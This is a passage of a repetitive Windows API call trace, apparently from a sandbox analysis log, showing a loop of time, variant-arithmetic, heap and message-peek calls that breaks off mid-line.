VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.778] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.778] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.778] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.778] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.778] GetTickCount () returned 0x115fbfc [0190.778] GetTickCount () returned 0x115fbfc [0190.779] CoFreeUnusedLibraries () [0190.779] DllCanUnloadNow () returned 0x1 [0190.779] GetTickCount () returned 0x115fbfc [0190.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.779] GetTickCount () returned 0x115fbfc [0190.780] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.780] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.780] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.780] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.780] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.780] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.780] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.780] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.780] GetTickCount () returned 0x115fbfc [0190.780] GetTickCount () returned 0x115fbfc [0190.780] CoFreeUnusedLibraries () [0190.780] DllCanUnloadNow () returned 0x1 [0190.780] GetTickCount () returned 0x115fbfc [0190.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.781] GetTickCount () returned 0x115fbfc [0190.806] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1a7)) [0190.807] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.807] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.807] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.807] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.807] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.807] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.807] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.807] GetTickCount () returned 0x115fc1b [0190.807] GetTickCount () returned 0x115fc1b [0190.808] CoFreeUnusedLibraries () [0190.808] DllCanUnloadNow () returned 0x1 [0190.808] GetTickCount () returned 0x115fc1b [0190.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.808] GetTickCount () returned 0x115fc1b [0190.822] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1b7)) [0190.824] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.824] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.824] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.824] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.826] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.837] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.837] GetTickCount () returned 0x115fc3a [0190.837] GetTickCount () returned 0x115fc3a [0190.842] CoFreeUnusedLibraries () [0190.842] DllCanUnloadNow () returned 0x1 [0190.842] GetTickCount () returned 0x115fc4a [0190.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.844] GetTickCount () returned 0x115fc4a [0190.849] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1d6)) [0190.849] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.849] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.849] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.849] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.849] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.849] GetTickCount () returned 0x115fc4a [0190.849] GetTickCount () returned 0x115fc4a [0190.849] CoFreeUnusedLibraries () [0190.849] DllCanUnloadNow () returned 0x1 [0190.850] GetTickCount () returned 0x115fc4a [0190.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.850] GetTickCount () returned 0x115fc4a [0190.852] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1d6)) [0190.852] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.852] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.852] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.852] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.853] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.853] GetTickCount () returned 0x115fc4a [0190.853] GetTickCount () returned 0x115fc4a [0190.853] CoFreeUnusedLibraries () [0190.853] DllCanUnloadNow () returned 0x1 [0190.853] GetTickCount () returned 0x115fc4a [0190.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.853] GetTickCount () returned 0x115fc4a [0190.854] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1d6)) [0190.854] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.854] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.855] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.855] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.855] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.855] GetTickCount () returned 0x115fc4a [0190.855] GetTickCount () returned 0x115fc4a [0190.855] CoFreeUnusedLibraries () [0190.855] DllCanUnloadNow () returned 0x1 [0190.855] GetTickCount () returned 0x115fc4a [0190.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.855] GetTickCount () returned 0x115fc4a [0190.856] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1d6)) [0190.856] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.856] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.856] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.856] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.857] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.857] GetTickCount () returned 0x115fc4a [0190.857] GetTickCount () returned 0x115fc4a [0190.857] CoFreeUnusedLibraries () [0190.857] DllCanUnloadNow () returned 0x1 [0190.857] GetTickCount () returned 0x115fc4a [0190.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.857] GetTickCount () returned 0x115fc4a [0190.858] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1d6)) [0190.859] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.859] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.859] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.859] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.859] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.859] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.859] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.859] GetTickCount () returned 0x115fc59 [0190.859] GetTickCount () returned 0x115fc59 [0190.860] CoFreeUnusedLibraries () [0190.860] DllCanUnloadNow () returned 0x1 [0190.860] GetTickCount () returned 0x115fc59 [0190.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.860] GetTickCount () returned 0x115fc59 [0190.861] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.861] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.861] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.861] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.861] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.862] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.862] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.862] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.862] GetTickCount () returned 0x115fc59 [0190.862] GetTickCount () returned 0x115fc59 [0190.862] CoFreeUnusedLibraries () [0190.862] DllCanUnloadNow () returned 0x1 [0190.862] GetTickCount () returned 0x115fc59 [0190.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.862] GetTickCount () returned 0x115fc59 [0190.863] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.863] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.863] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.863] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.863] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.864] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.864] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.864] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.864] GetTickCount () returned 0x115fc59 [0190.864] GetTickCount () returned 0x115fc59 [0190.864] CoFreeUnusedLibraries () [0190.864] DllCanUnloadNow () returned 0x1 [0190.864] GetTickCount () returned 0x115fc59 [0190.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.864] GetTickCount () returned 0x115fc59 [0190.867] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.867] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.867] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.867] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.867] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.868] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.868] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.868] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.868] GetTickCount () returned 0x115fc59 [0190.868] GetTickCount () returned 0x115fc59 [0190.868] CoFreeUnusedLibraries () [0190.868] DllCanUnloadNow () returned 0x1 [0190.868] GetTickCount () returned 0x115fc59 [0190.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.868] GetTickCount () returned 0x115fc59 [0190.869] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.869] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.869] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.870] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.870] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.870] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.870] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.870] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.870] GetTickCount () returned 0x115fc59 [0190.870] GetTickCount () returned 0x115fc59 [0190.870] CoFreeUnusedLibraries () [0190.870] DllCanUnloadNow () returned 0x1 [0190.870] GetTickCount () returned 0x115fc59 [0190.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.870] GetTickCount () returned 0x115fc59 [0190.872] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.872] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.872] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.872] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.872] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.872] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.872] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.872] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.872] GetTickCount () returned 0x115fc59 [0190.872] GetTickCount () returned 0x115fc59 [0190.873] CoFreeUnusedLibraries () [0190.873] DllCanUnloadNow () returned 0x1 [0190.873] GetTickCount () returned 0x115fc59 [0190.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.873] GetTickCount () returned 0x115fc59 [0190.874] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1e6)) [0190.874] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.874] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.874] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.874] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.874] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.875] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.875] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.875] GetTickCount () returned 0x115fc69 [0190.875] GetTickCount () returned 0x115fc69 [0190.875] CoFreeUnusedLibraries () [0190.875] DllCanUnloadNow () returned 0x1 [0190.875] GetTickCount () returned 0x115fc69 [0190.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.875] GetTickCount () returned 0x115fc69 [0190.876] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1f5)) [0190.876] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.876] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.876] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.876] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.877] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.877] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.877] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.877] GetTickCount () returned 0x115fc69 [0190.877] GetTickCount () returned 0x115fc69 [0190.877] CoFreeUnusedLibraries () [0190.877] DllCanUnloadNow () returned 0x1 [0190.877] GetTickCount () returned 0x115fc69 [0190.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.877] GetTickCount () returned 0x115fc69 [0190.878] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, 